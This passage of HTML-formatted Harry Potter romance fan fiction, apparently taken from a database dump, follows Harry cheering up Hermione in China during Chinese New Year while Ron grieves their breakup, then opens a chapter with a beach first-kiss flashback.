head. Hermione seemed rather subdued, not wanting to\ntalk, not seeming to be taking in all the beautiful scenery. Harry&#8217;s smile fell\na little. When he had decided to come to China with Hermione, he had decided that\nshe should be happy in her stay here. Yet, at the beginning, she already was\nfeeling sad, which in turn makes the stay more miserable. Harry knew she was\nthinking about Ron again. Both were stubborn people, not willing to apologize\nto each other and make up. Harry knew he had to do something, just that he don&#8217;t know what. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Running up\nto Hermione, he gently grasped her arm and pulled her out through the automatic\ndoors out into the open. Taken by surprise, Hermione stumbled before catching\nher footing and running after him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do\nyou think you are doing?&#8221; Hermione asked as she felt a gentle breeze. It felt\nso comfortable. The tense muscles in Hermione&#8217;s body and all unhappiness\nmomentarily floated away with the wind to be blown up to the cloudy skies.\nHarry looked as Hermione gazed at the scenery before in awe. With a satisfied\nsmile, Harry turned around and looked at the scenery too. They were such a\nsight. Two adults sitting on cemented blocks on the sidewalk surrounded by\ntheir numerous luggage watching the beautiful scenery. Occasionally, Hermione\nwould adjust her baby pink sweater or combed her hair while Harry would change\nhis positions. Sometimes, he was squatting besides Hermione. Sometimes, he was\nstanding on the cemented blocked. Sometimes, he would be lying across four\ncemented blocks asleep and sometimes, he would just sit there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If only\nlife could remain forever that peaceful, Harry would have liked it. Ever since\nhe entered Hogwarts, his life had not been an easy one. With Voldemort hot on\nhis tail wanting to kill him, and only him. Now Voldemort is gone, it was time\nfor him to relax and let his hair down. Maybe this was the vacation he needed\nand he was glad to have it. Work as an auror was\ntaxing. He hardly had a good night sleep in ages. His eyes flutter softly,\nabout to drift into deep sleep, when Hermione shook him violently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look at\nthat!&#8221; Hermione said, pointing to a rainbow in the sky. It had been drizzling\nmoments ago and within seconds, a beautiful, sparkling rainbow had appeared\nbefore the duo. The colours of red to Indigo blended beautifully with each\nother and the sky and the clouds surrounding them. It was a classical scene of\nhope. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron had\nmanaged to get back to the burrow unharmed. He was in a bad mood, a very bad\none indeed. He didn&#8217;t know why everything has to happen to him? He wished for\naction, not heartbreak. He punched his fists through a glass window and an\nearth-shattering crash could be heard. Ron felt nonchalant as blood flowed from\nthe cuts and onto the carpeted ground. Footsteps were heard running up the\nstairs as the door banged open. Ginny had rushed in upon hearing the crash.\nDraco followed closely. They had been planning on postponing their wedding,\nafter Ron&#8217;s wedding had failed. They had no intention of rubbing salt on his\nwound.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny\nlooked around only to see the blood spotted carpet and the shattered pieces of\nglass. She had promised Harry to take good care of Ron and knew fairly well\nthat this wasn&#8217;t what one would meant by good care. Immediately taking out her\nwand, she cleaned the spots and the pieces of glass on the ground while Draco\nhelped Ron to the bed. Draco and Ginny had been dating for a long time and when\nDraco had pledged loyalty to Dumbledore, the Weasleys knew his wasn&#8217;t bad and\nhad allowed their youngest daughter to go out with him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, what\ndo you think you are trying to do?&#8221; Ginny said as she repaired the broken\nwindow. Draco motioned to her that he was going down to get some tea and she\nnodded. Ron remained quiet, like he was a student defying the teacher. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, Ron,\nwhat am I going to do with you?&#8221; Ginny said as she sat down beside him, feeling\nhopeless. At that moment, a knock came at the door and it opened. Draco walked\nin and set a cup of tea on the bedside table and settled himself down beside\nGinny. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked\nquietly around the room which was specially decorated to house him and Hermione\nwhile he looked for another house where they could start their own little\nfamily. Posters of Quidditch teams have been removed and stuffed into drawers.\nThe old wallpaper had been removed and changed to a new light pink one. Even\nthe old red carpet had been switched to a yellow coloured new one. Ron had took pains in changing his room to suit Hermione tastes and\nit seemed like it was going down the drain. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Silently,\nhe stood up. Ginny and Draco followed his every movement with their eyes. He\nwalked over to the window and fingered the curtains. He gave a short laugh as\nhe remembered Hermione scolding him about his old and tattered curtains. <i style="mso-bidi-font-style:normal"><u>&#8220;Ron, those curtains are&#8230; are&#8230; are\nabsurd&#8230; I don&#8217;t know how you managed to live in this room for 20 years but it\nhas to be changed. </u></i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal"><u>&nbsp;</u></i></p>\n\n<p class="MsoNormal">And so, he\nchanged the curtains, beautiful blue lacy ones which enhanced his already\nperfected room. Hermione was a perfectionist and all Ron did was to follow. He\ndidn&#8217;t know why their love turned out this way. He just didn&#8217;t understand. Why\ndid those words have to be said? Why couldn&#8217;t he resist the imperius curse like\nHarry could? Maybe than, he and Hermione would have been peacefully married and\nhappy. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He began\nhumming a song, a song which he recently heard, one of Hermione&#8217;s favourites. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p>&#8220;<i style="mso-bidi-font-style:\nnormal">No, I can\'t forget this evening <br>\nOr your face as you were leaving <br>\nBut I guess that\'s just the way the story goes <br>\nYou always smile but in your eyes <br>\nYour sorrow shows, yes it shows.&#8221; </i>&nbsp;Ron sang softly as Ginny and Draco watched\nhim. Not knowing what to do. They were dumbfounded. They never knew that Ron\ncould feel this way. But as he began singing, they could feel him pour all his\nsorrows out towards them. They both looked at each other, each thinking how\nlucky they were to have each other. They could never thank god enough for\nletting them unite as one. <i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p><i style="mso-bidi-font-style:normal">&#8220;No, I can\'t forget tomorrow <br>\nWhen I think of all my sorrow <br>\nWhen I had you there but then I let you go <br>\nAnd now it\'s only fair that I should let you know <br>\nWhat you should know.&#8221; </i>&nbsp;A tear roll slowly down Ron&#8217;s\ncheek as he continued singing. He has so many things he has yet to tell\nHermione. He just couldn&#8217;t accept the fact that she thought he never loved her.\nHe wanted her to know that he did, he always did. He never once changed his\nfeelings for her, he just didn&#8217;t know why she couldn&#8217;t\nunderstand that. <i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p><i style="mso-bidi-font-style:normal">&#8220;I can\'t live, if living is without you <br>\nI can\'t live, I can\'t give anymore <br>\nI can\'t live, if living is without you <br>\nI can\'t give, I can\'t give anymore.&#8221; </i>&nbsp;</p>\n\n<p>Ron paused momentarily.\nLife without Hermione was torture. He had given everything he could to make her\nhappy, get this was all he has to give. It was Hermione&#8217;s turn to give instead\nof just receiving. Didn&#8217;t she know that he too felt the same insecurities? Ever\nsince his first year at Hogwarts, he has been constantly over shadowed by Harry\nand when he finally broke out of the shell he lived in, earning his own\nrespect, he had taken up the courage and asked her out and she agreed. Why\ncouldn&#8217;t she understand that he also wanted to receive her loved, needed her to\ncontinue living. </p>\n\n<p><i style="mso-bidi-font-style:normal">&#8220;Well, I can\'t forget this evening <br>\nOr your face as you were leaving <br>\nBut I guess that\'s just the way the story goes <br>\nYou always smile but in your eyes <br>\nYour sorrow shows, yes it shows.&#8221; </i>&nbsp;</p>\n\n<p>Ginny and Draco watched as\nthe single tear rolled down. Yes, it was a single tear, but it was a tear that\ncontained so much sorrow, so much unhappiness that no one could explain, not\neven Ron himself. Ginny felt a need to do something for this brother of hers,\nbut she didn&#8217;t know what she could do. She could only hope that Harry will\nmanage to talk Hermione round and bring her back to England, back into Ron&#8217;s arms where she\nbelonged. <i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p><i style="mso-bidi-font-style:normal">&#8220;I can\'t live, if living is without you <br>\nI can\'t live, I can\'t give anymore <br>\nI can\'t live, if living is without you <br>\nI can\'t give, I can\'t give anymore.&#8221; </i>&nbsp;</p>\n\n<p>These few simple words\nmake Draco looked back on his past as he thought of how he used to be. Knowing\nGinny certainly was the best thing that ever happened to him. This brought a\nsmile to his face. He knew he should treasure this relationship between them,\ntreasure the wonderful woman that was in front of him, the woman that was one\nin a million, no one else could ever compare to her beauty, a character.&nbsp; <i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p><i style="mso-bidi-font-style:normal">&#8220;I can\'t live, if living is without you <br>\nI can\'t live, I can\'t give anymore <br>\nI can\'t live, if living is without you <br>\nI can\'t give, I can\'t give anymore.&#8221; </i>&nbsp;</p>\n\n<p>Ron continued, not knowing\nthat both Ginny and Draco were staring at him, not believing the sight before\nthem, the sight of Ron crying. Ron didn&#8217;t have a care about anything else. All\nhe wanted was Hermione back to him. All he wanted was her and there was no one\nhe wanted more. He knew he should have swallowed his pride and apologized to\nher but he was stubborn. He knew Hermione was in fault and refused to apologize\nuntil she does. Both each thought the same way, both refusing to apologize, and\nnothing could make them do it. </p>\n\n<p>&nbsp;</p>\n\n<p>~*~</p>\n\n<p>&nbsp;</p>\n\n<p>Both Harry and Hermione\nand finally given up on sitting on cemented blocks and watching the scenery.\nHarry tapped his foot impatiently at the lobby of the hotel waiting for\nHermione. Today was Chinese New Year, they had heard\nabout it from the manager and had cast a spell which allowed them to understand\nwhat the people were talking about. The lights of the lift flickered as it\nchanged to one. The door opened silently as Hermione stepped out, wrapped in a\nsweater. Together, they were going to shop the night market and get into the\nspirit of New Year, one of Harry&#8217;s better ideas to cheer Hermione up, which he\nreally did would work. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come on Hermione, the\nparade ain&#8217;t going to wait for us.&#8221; Harry commented, practically dragging\nHermione out of the hotel lobby into the open where they made their way in a\ntaxi to the city. Along the way, Harry admired the shimmering lights which were\nhung around the streets. It looked pretty much like Christmas in England, though it was much more coloured\nin red, a lucky coloured. </p>\n\n<p>After a very bumpy ride on\nthe road, Harry and Hermione reached the city where a staged was set up and\npeople dressed in colourful costumes performed. Harry\ndragged Hermione everywhere, eating the local delicacies and many other new and\nweird items not seen in England. Hermione however seemed\nuninterested. Harry really didn&#8217;t know what to do. He needed to cheer Hermione\nup someway. It was Chinese New Year, she should be\nhappy, not sad. He knew that after the incident with Ron, she was pretty\naffected. But she need to be in a good mood to listen to what he has to said,\nand maybe it will be more effective in getting her and Ron back together.</p>\n\n<p>Speaking about Ron, Harry\nwondered how he was doing and whether Ron had read his note. He sure wished\nthat Ron did and was on his way to China now, but it was a little too much\nto ask. Both needed time to cool down and this was a great time to make\nHermione cool down. </p>\n\n<p>An intercom signaled the\nstart of the show. Harry immediately dragged Hermione to the front of the\nstage. Hermione, on seeing that Harry was trying to get her to cheer up,\nrelented and followed him, thinking that maybe he will only give up if she\nfollowed him. The lights around the stage darkened as spotlights focused on the\nspeaker. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Welcome to tonight&#8217;s New\nYear celebration. I hope you will enjoy the performances put up by our artistes\nfor you.&#8221; The speaker, a middle age man said. As he left, a group of danced\nbegan to dance to a sweet tune with silk pieces swirling gracefully around them\nin whirls of circles, a mixture of many different colours, like the rainbow\nthat they saw earlier on. Hermione looked on, Ron momentarily forgotten as she\nsaw the beautiful silk dance. It was so new to her, so interesting. As the\ndances disappeared, performances came up one after another, each more beautiful\nand more interesting than the rest before them. Harry looked at Hermione; she\nseemed to be happier as she watched the performance. Harry was glad he decided\nto bring her to this festival. </p>\n\n<p>As the last of the\nperformances fade away, the speaker came out again and announced that it was\ntime for the countdown. </p>\n\n<p>&#8220;10!&#8221; The crowd shouted,\nso did Harry and Hermione, who had finally gotten into the spirit and was\nfinally enjoying herself.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;9!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;8!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;7!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;6!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;5!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;4!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;3!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;2!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;1!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;0!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Happy\nChinese New Year!&#8221;\nAt this shout, fireworks were set off simultaneously, each more beautiful than\nthe previous. The fireworks exploded into many different shades of colours as\nthey streaked the dark night sky with many colours. It seemed pretty much like\na black piece of paper with paint sprayed on it. It was a beautiful sight. It\nwasn&#8217;t as if they never seen fireworks before, but this time, it was outside of\ntheir country, celebrating a whole new occasion. Harry and Hermione broke away\nfrom the crowd as Harry summoned his broom which he had brought with him.\nCovering both of them in his silvery invisibility cloak, he rose high up in the\nair and together, they watched the many fireworks up in the sky, exploding one\nafter another.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione,&#8221; Harry said softly.\n</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes?&#8221; Hermione asked,\ntearing her gaze away from the fireworks and faced Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Happy Chinese New Year&#8221;\nHarry said, smiling. A smile grace Hermione&#8217;s lips. Harry spoke again. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Happy Chinese New Year,\nHermione.&#8221;</p>\n\n<p>&nbsp;</p>\n\n\n\n\n\n\n'),
	(23, 7, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;One Moment in Time</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Author: Ohepelss Oramtnci</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Spoilers: All Four Books</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Category: Romance</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Keywords: Harry Potter/ Hermione Granger</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Rating: Hmm&#8230; how about Pg-Pg-13</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Summary: Hermione thinks Ron is cheating on her and breaks up with\nhim. Both are equally upset, and during this time, Harry stands by Hermione and\nhelps her through. Would love eventually blossom between them or would them\nremain as best friends like they began with? </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Disclaimer: All Harry Potter related characters belong to Ms.\nJ.K.Rowling. Other characters which you do not recognize belong to yours truly.\nSong Pretty Woman belongs to Roy Orbison. But I have no clue as to who &#8220;Never On A Sunday&#8221; Belongs to. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Author&#8217;s Note: Another Chapter. Working when I have the time, which happens to be today, so here you go. Enjoy it. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Thanks to all who reviewed or read the story :D &nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 7: Pretty Woman</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It has\nalready been days since Chinese New Year had taken place and Hermione has not\nvisibly cheered up. Sure, she was happy for a moment there, but now, she&#8217;s back\nto sulking and moping around the hotel. No matter what Harry said, he couldn&#8217;t\nget her to smile nor drag her out of the hotel to enjoy herself. He was already\ngetting out of ideas. Perhaps there was a last resort to cheer her up&#8230; perhaps&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">------------------------------------------------------------------------</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsat at the table of the hotel playing with the straw in her fruit cocktail,\ntwisting it around her finger and gently stirring it around the tall glass cup.\nShe was bored and she didn&#8217;t want to go anywhere&#8230; besides wallow in despair.\nFor a moment, she didn&#8217;t felt like doing anything. Unlikely of her, but still,\nshe couldn&#8217;t help it. No matter how she try, okay, so\nshe didn&#8217;t really try, but she couldn&#8217;t make herself forget him. Scenes from\ntheir past will always replay itself in her mind over and over again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Back in 5th\nyear, Hermione and Ron had only just started dating. Their relationship was\npretty much simple &#8211; just holding hands and a few\nsimple hugs. Of course, Hermione was just happy with that, Ron, perhaps wanted\na little more, let&#8217;s say, a kiss. Hermione hadn&#8217;t been kissed nor kissed any\none before, and her first kiss was a beautiful experience, one that she will\nalways remember in her mind. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">::\nFlashback:: </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was\nthe holidays and Hermione and Harry and went over to the Burrow to spent time\nwith Ron and his family-Harry, to escape from the Dursley, Hermione, to spend\ntime with her boyfriend. It was a beautiful holiday. Summer wasn&#8217;t too hot with\noccasional breeze blowing around the beach which was situated near the Burrow.\nThe trio spent lots of time at the beach, playing in the sand and with the\nwaves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It just\nso happened that day that Harry went out with his current girlfriend, a girl\nfrom Ravenclaw, not Cho Chang, but another girl unknown to the both of them.\nRather than stay in the house and rot, they had went out to the beach and\nplayed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s\nhair was no longer as bushy as it was and she had tied it up in a simple and\nstraight ponytail &#8211; advantages of magic. It was a\nwonderful time, just the two of them alone on the sandy beaches, the waves\nhitting the shore every now and than. Sunset was near and they had had a mat\nlaid and sat to watch the sun setting. The mixture of the colours, azure,\norange and red blended like water colours on a piece of paper. It was\nbeautiful, with different shades occurring at different positions in the sky.\nIt half made Hermione wished she had a camera to take down this beautiful\nscenery. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Warmth\nwas slowly decreasing as the sun set. There was still an hour before dark. Ron\nsneaked a look at Hermione. She was beautiful. The setting sun had framed her\ncrouching figure perfectly; the beads of water droplets rolled down her cheeks\nand glistened in the sun. <i style="mso-bidi-font-style:normal">Hermione&#8217;s\nbeautiful, I knew that, but never was she as beautiful as this, what would it feel like to kiss those luscious red lips of\nher. </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Within\nRon&#8217;s head, a scheme was already planned out. He would do anything to get a\nchance to kiss those lips of hers. Ron shifted silently and slowly, edging by\nthe minute closer to the Hermione. Hermione, being captivated by the scene,\nmade no move or indications that she had noticed Ron&#8217;s oncoming figure. A silly\ngrin formed on Ron&#8217;s face as he leaned in for the kill. Busted.\nHermione had noticed and quickly stood up, arms cross over her chest. Ron fell\nflat and kissed the mat which was full of sand particles. Hermione laughed at\nhim. He was a sight. Ron stood out and try his best to\nspit out the sand from within his mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want to\nkiss me? Not a chance.&#8221; Hermione taunted before she ran on her bare feet over\nthe sand. Ron wiped his mouth and ran after her. This began their chase. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Oh, you can kiss me on a Monday, a\nMonday,<br>\nA Monday is very very good <br>\nOr you can kiss me on a Tuesday, a Tuesday,<br>\nA Tuesday, in fact I wish you would <br>\nOr you can kiss me on a Wednesday, a Thursday,<br>\nA Friday and Saturday is best <br>\nBut never ever on a Sunday, a Sunday,<br>\nA Sunday, cause that\'s my day of rest</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">Hermione laughed as she ran around the trees in the\nformation of eights, escaping Ron&#8217;s continuous pounces. He got a kiss, yes, a\nkiss from the sand, but not from his lady Hermione and he sure wasn&#8217;t about to\ngive up yet. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Most anyday\nyou can be my guest <br>\nAnyday you say but my day of rest <br>\nJust name the day that you like the best <br>\nOnly stay away on my day of rest</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">Hermione peeked out from the side of the tree, only\nto see Ron&#8217;s grinning face. She turned around the other side, only to see Ron\nonce again. Both of them started to prowl around the tree like a prey and its\npredator, playing the game of hunting. No matter which side Hermione turned to,\nshe would always come face to face with a grinning Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Oh, you can kiss me on a cool day,\na hot day,<br>\nA wet day, which ever one you choose <br>\nOr try to kiss me on a grey day, a May day,<br>\nA pay day, and see if I refuse<br>\nAnd if you make it on a bleak day, a freak day,<br>\nOr a week day, well you can be my guest<br>\nBut never ever on a Sunday, a Sunday,<br>\nThe one day, I need a little rest</i></b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So, it\nwent on. They scurried from tree to tree. When Hermione sped up, Ron did the\nsame. When Hermione stopped, Ron stopped. So Hermione would run out from behind\na tree, with Ron just two trees away, right behind her. If she was to stop and\nduck behind a tree, Ron would stop and duck behind a tree. It was a hilarious\nscene. Passer-bys who had been taking a stroll round the beach all stood in a\ncrowd to watch this two young lovers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Oh, you can kiss me on a Monday, a\nMonday,<br>\nA Monday is very very good <br>\nOr you can kiss me on a Tuesday, a Tuesday,<br>\nA Tuesday, in fact I wish you would <br>\nOr you can kiss me on a Wednesday, a Thursday,<br>\nA Friday and Saturday is best <br>\nBut never ever on a Sunday, a Sunday,<br>\nA Sunday, cause that\'s my day of rest</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">The frolicking around trees stopped, but their chase\nhadn&#8217;t. They were running through the rose bushes in the park nearby. As they\nrun pass, passer-bys would stopped and stared at them in surprise. Imagine two\nyoung adults, dressed only in their swim-wear running about in a park full of\nchildren and properly dressed people. They were certainly special,\none in a kind is what one would say. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Most anyday\nyou can be my guest <br>\nAnyday you say but my day of rest <br>\nJust name the day that you like the best <br>\nOnly stay away on my day of rest</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">The park was soon ditched behind, it didn&#8217;t seem\nlike any moment that these chase was going to stop. Both of them didn&#8217;t seem in\nthe least bit tired. Hermione had made a detour back to the beach and made a\ndive into the water. Ron stood at the edge, arms at his waist. Hermione poked\nher head out of the water and stuck her tongue out at him. Taking a few steps\nback, he ran in full speed towards the edge of the water and jumped in after\nher. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Oh, you can kiss me on a cool day,\na hot day,<br>\nA wet day, which ever one you choose <br>\nOr try to kiss me on a grey day, a May day,<br>\nA pay day, and see if I refuse<br>\nAnd if you make it on a bleak day, a freak day,<br>\nOr a week day, well you can be my guest<br>\nBut never ever on a Sunday, a Sunday,<br>\nThe one day, I need a little rest!</i></b><i style="mso-bidi-font-style:\nnormal"></i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nquickly wade further away, but it was too late. Ron had pounced on her, sending\nspurts of water into the air. His weight brought her down to the water, but he\nhad gained a footing and had held her up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what\ndo you say Herm?&#8221; Ron asked, his eyes dancing\nmischievously as he leaned forward. Hermione put a finger to kiss lips and Ron\nlooked at her quizzically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is today\na Sunday?&#8221; Hermione asked, grinning, knowing the answer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, it\nis, but what I want, is what I get.&#8221; Ron said as he leaned in and took her lips\nin her. Hermione reacted to him. He tasted sweet, a little salty from the sea\nwater and bitter from the sand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">People on\nthe beach had their eyes affixed to this couple kissing in the water. It seems\nlike they have had a lot of attention today from people. Many went &#8220;awww..&#8221; It was a very sweet and romantic\nscene. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">::End of Flashback::</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A tear\nrolled down Hermione&#8217;s cheek. That was her first kiss, very beautiful, very\nmemorable. If memories keep drifting back to her, how could she ever forget\nhim? She took a sip out of the drink. It was supposed to sour, but now, it\ntasted salty, perhaps, from her tears that rolled down when she was\nreminiscing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nautomatic doors opened as Harry rushed in, excited, his face flushed as she\nquickly dragged Hermione out of her seat. Taken by surprised, she almost tripped.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where\nare you taking me?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Somewhere\nthat will cheer you up.&#8221; Harry said, grinning as he pulled her all the way\nacross the street. He was determined to cheer her up, and that was what he will\ndo. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">------------------------------------------------------------------------</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nlooked up. It was a theatre. Quiet but it looked majestic. The bricks were old\nand its plate had Chinese words painted on it. &#8220;Da Zhai&#8221;. <i style="mso-bidi-font-style:\nnormal">Now, what did those words meant? </i>Hermione stood outside, pondering\non the two words that had gotten her messed up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was\nin a corner, speaking to an Eurasian who was in a blue\ncoloured suit. When he was done, Harry quickly grabbed hold of Hermione&#8217;s hand\nand dragged her into the theatre. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What the?&#8221; Hermione trailed off as she was pulled through the swinging doors of\nthe theatre. The theatre had a musty smell to it. It seemed so desolate, with\nan eerie feeling to it, and the phobia of the entire theatre falling upon them.\nBright lights were suddenly turned on. Both Harry and Hermione and nothing to\nfear about ghosts, they had met many themselves, but these were Chinese ghosts,\nbut still, it shouldn&#8217;t be a problem. Harry led Hermione to one of the tattered\nand dusty cushion seat when he sat her down on it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give me\na minute. I&#8217;ll be back.&#8221; Harry said, with a grin on his face. He knew his plan\nwas going to work. Well, it had to. Hermione watched Harry&#8217;s disappearing\nfigure and suddenly felt lonely, and a little bit cold. The theatre was huge\nand she was just only one soul in the entire place. Harry had gone. For a\nmoment, she wished Ron was here with her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nlights at the back suddenly dimmed and the stage lights brightened. Though old,\nthey worked very well and produced luminous light. The heavy velvet blue\ncurtains draw noisily apart, sweeping up the dust only the floor towards\nbackstage. Hermione was shocked. There were no performances due in this old\ntheatre, how could there be a show? A show performed by ghost perhaps. Now,\nthat was supposed to make her feel better.</p>\n\n<p 